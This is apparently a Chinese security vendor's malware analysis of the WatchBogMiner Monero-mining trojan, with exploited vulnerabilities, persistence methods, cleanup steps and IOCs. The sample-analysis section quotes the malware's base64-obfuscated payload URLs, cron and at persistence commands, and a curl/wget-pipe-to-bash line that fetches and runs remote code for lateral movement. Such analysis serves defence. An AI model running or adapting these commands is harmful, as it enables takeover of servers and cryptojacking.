挖矿

WatchBogMiner 木马发起漏洞攻击,已控制上万台 Linux 服务器挖矿

  • 浏览次数 28764
  • 喜欢 0
  • 评分 12345

感谢腾讯御见威胁情报中心来稿!

原文链接:https://mp.weixin.qq.com/s/5bt4XtP2NNFssl7QbF2S0Q

 

一、背景

腾讯安全威胁情报中心检测到针对Linux服务器进行攻击的WatchBogMiner变种挖矿木马。该木马利用Nexus Repository Manager、Supervisord、ThinkPHP等服务器组件的远程代码执行漏洞进行攻击,在失陷机器安装多种类型的持久化攻击代码,然后植入门罗币挖矿木马进行挖矿,腾讯安全专家根据木马使用的算力资源推测已有上万台Linux服务器被黑客控制。

木马通过第三方网站Pastebin保存恶意代码以躲避检测,并且通过各类方法进行持久化,定期拉取挖矿木马加载到内存执行,同时会在启动后删除木马文件以达到“隐身”目的。和其他挖矿木马类似,WatchBogMiner木马挖矿时,会清除其他挖矿木马以独占服务器。

WatchBogMiner变种攻击代码还会通过失陷机器已认证过的SSH RSA进行SSH连接和执行远程命令进行横向移动,以扩大其影响范围。根据其钱包算力(120Kh/s)推测,木马已控制约1万台服务器进行挖矿。

腾讯安全专家建议企业网管对Linux服务器进行安全检测,及时清除挖矿木马,及时修复服务器组件存在的高危漏洞,避免遭遇更严重的损失,检测方案可参考腾讯安全系列产品应对WatchBogMiner挖矿木马的响应清单进行:

应用

场景

安全产品 解决方案

腾讯T-Sec

威胁情报云查服务

(SaaS)

1)WatchBogMiner黑产团伙相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

1)WatchBogMiner黑产团伙相关信息和情报已支持检索。

网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts

云原生安全

防护

云防火墙

(Cloud Firewall,CFW)

基于网络流量进行威胁检测与主动拦截,已支持:

1)WatchBogMiner关联的IOCs已支持识别检测;

有关云防火墙的更多信息,可参考:
https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

(Cloud Workload Protection,CWP)

1)已支持查杀WatchBogMiner相关木马程序;

2)已支持Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)检测 ;

3)已支持Supervisord远程命令执行漏洞(CVE-2017-11610)检测;

4)已支持ThinkPHP远程命令执行漏洞检测。

腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp

腾讯T-Sec 漏洞扫描服务

(Vulnerability Scan Service,VSS)

1)腾讯VSS已支持检测全网资产是否存在Nexus Repository Manager、Supervisord、ThinkPHP等服务器组件高危漏洞;

关于腾讯T-Sec漏洞扫描服务的更多信息,可参考:https://cloud.tencent.com/product/vss

腾讯T-Sec 安全运营中心 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html

非云企业安全防护 腾讯T-Sec

高级威胁检测系统

(腾讯御界)

基于网络流量进行威胁检测,已支持:

1)通过协议检测WatchBogMiner木马与服务器的网络通信;

关于T-Sec高级威胁检测系统的更多信息,可参考:

https://cloud.tencent.com/product/nta

腾讯T-Sec终端安全管理系统(御点) 1)可查杀WatchBogMiner团伙入侵释放的木马程序;

腾讯御点提供企业终端的防毒杀毒、防入侵、漏洞管理、基线管理等能力,关于T-Sec终端安全管理系统的更多资料,可参考:https://s.tencent.com/product/yd/index.html

更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/

二、样本分析

WatchBogMiner使用Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)、Supervisord远程命令执行漏洞(CVE-2017-11610)、ThinkPHP远程命令执行漏洞的EXP代码对服务器进行扫描和攻击,并通过Payload执行https[:]//pastebin.com/raw/1eDKHr4r。失陷机器被安装的恶意定时任务如下:

为逃避检测,攻击者使用第三方网站Pastebin来保存恶意代码,该网站不会被网络防御方判断为恶意网站。WatchBogMiner变种用于存放恶意代码的Pastebin账号为”LISTTIME”,创建于2020年4月20日。

https[:]//pastebin.com/raw/1eDKHr4r跳转https[:]//pastebin.com/raw/UhUmR517

“UhUmR517”上保存的内容经过base64解码后,会得到以下shell脚本,包括有system()、cronhigh()、gettarfile()、download()、testa()、kill_miner_proc()等函数,会完成持久化、挖矿、横向移动等功能,是该病毒的主要攻击脚本。

脚本首先定义了4个变量,内容分别如下:

house=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzFlREtIcjRy|base64 -d)
park=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2I1eDFwUnpL|base64 -d)
beam=$(echo c2FkYW42NjYueHl6OjkwODAvcnI=|base64 -d)
deep=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1NqaldldlRz|base64 -d)
surf=$(echo aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R5am5UUVRB|base64 -d)

经过base64解码后:

house= https[:]//pastebin.com/raw/1eDKHr4r

park= https[:]//pastebin.com/raw/b5x1pRzK

beam= sadan666.xyz:9080/rr

deep= https[:]//pastebin.com/raw/SjjWevTs

surf= https[:]//pastebin.com/raw/tyjnTQTA

其中house、park、beam都会跳转得到“UhUmR517”脚本,而deep、surf会返回函数名“dragon”和“lossl”。



持久化模块通过多种方式定期执行远程shell脚本:1.system()函数通过写入/etc/crontab文件,创建定时任务。


2.cronhigh()通过写入以下文件创建定时任务。

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.d/system

/etc/cron.d/apache

/etc/cron.d/root

/etc/cron.hourly/oanacroane

/etc/cron.daily/oanacroane

/etc/cron.monthly/oanacroane

3.cronlow()通过crontab命令创建定时任务。

4.cronbackup()通过at命令:echo “$pay” | at -m now + 1 minute添加定时任务,通过后台隐藏执行一段带有while循环的脚本:”while true; do sleep 600 && $pay; done”,同样达到定时任务效果。

5.cronc()通过写入环境变量文件”/home/$me/.bashrc”、”/root/.bashrc”执行定时任务。

挖矿模块为download()和testa(),分别从https[:]//pastebin.com/raw/GMdeWqec、

https[:]//pastebin.com/raw/Esctfgrx下载$mi_64和$st_64,经过解码后得到XMRig、xmr-stak修改而成的挖矿程序,保存为:

/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates(最初被发现时该文件名为watchbog)

然后从https[:]//pastebin.com/raw/SB0TYBvG下载得到挖矿配置文件。

矿池:pool.minexmr.com:80

钱包:

48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U

对比新版和旧版的挖矿木马启动代码,发现新版代码在释放和启动挖矿木马之后,会sleep 15秒,然后通过rm -rf 命令将挖矿木马文件删除。

由于Linux系统进程启动时,会将文件完全映射到内存中,所以启动之后删除文件不影响已经在运行中的进程,木马用这一方法来抹掉文件痕迹从而达到隐身。木马已通过各类持久化任务定期拉取挖矿木马并加载到内存执行,即使每次执行后删除文件,也能达到挖矿进程长期驻留系统的效果。

该钱包目前挖矿获得门罗币28XMR,折合人民币13600元,矿池算力维持在120kH/s左右,这意味着持续有1万台左右的服务器被控制挖矿。

脚本还会通过Kill_miner_proc()找到并清除竞品挖矿木马。

通过Kill_sus_proc()杀死高占用CPU的可疑进程。

变种新增横向移动模块,获取/root/.ssh/known_hosts中保存的已通过SSH RSA公钥认证的IP,重新进行SSH登陆并执行远程命令进行内网扩散攻击:

curl -fsSL https[:]//pastebin.com/raw/UhUmR517||wget -q -O – https[:]//pastebin.com/raw/UhUmR517)|base64 -d|bash >/dev/null 2>&1 &


三、手动清除建议:

1、 检查是否有高CPU占用的进程javaUpDates,kill掉该进程:

映像文件路径(可能已被删除):/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/javaUpDates

2、检查以下文件是否有包含“sadan666.xyz:9080/rr”的定时任务,如有将其删除:

/etc/crontab

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.d/system

/etc/cron.d/apache

/etc/cron.d/root

/etc/cron.hourly/oanacroane

/etc/cron.daily/oanacroane

/etc/cron.monthly/oanacroane

同时通过crontab命令检查有无“sadan666.xyz:9080/rr”相关定时任务,如有将其删除。

3、通过atq命令查找at任务队列,删除“sadan666.xyz:9080/rr”相关作业。

4、检查是否存在进程/tmp/crun,如果该进程每10分钟请求一次

“sadan666.xyz:9080/rr”,Kill掉该进程。

5、检查配置文件”/home/$me/.bashrc”、”/root/.bashrc”是否包含“sadan666.xyz:9080/rr”相关内容,如有将其删除。

IOCs

Domain

sadan666.xyz

IP

104.236.66.189

URL

https[:]//pastebin.com/raw/1eDKHr4r

https[:]//pastebin.com/raw/UhUmR517

https[:]//pastebin.com/raw/b5x1pRzK

http[:]//sadan666.xyz:9080/rr

https[:]//pastebin.com/raw/SjjWevTs

https[:]//pastebin.com/raw/tyjnTQTA

https[:]//pastebin.com/raw/Esctfgrx

https[:]//pastebin.com/raw/GMdeWqec

https[:]//pastebin.com/raw/SB0TYBvG

https[:]//pastebin.com/raw/Zkz0d9Jz

https[:]//pastebin.com/raw/mvSEGmR6

md5

mi_64 88b658853b9ececc48f5cac2b7b3f6f6

st_64 ad17226de6cc93977fb7c22c7a27ea8e

钱包:

48S8kPXdSgubJYsMhpRTr4Ct1nznDzV9ohNMEbmKzgeJLwWPV2QfKzsNRDYoxWWMAdTW69EVBhRQuFr7BiCsMQoU9xAKW4U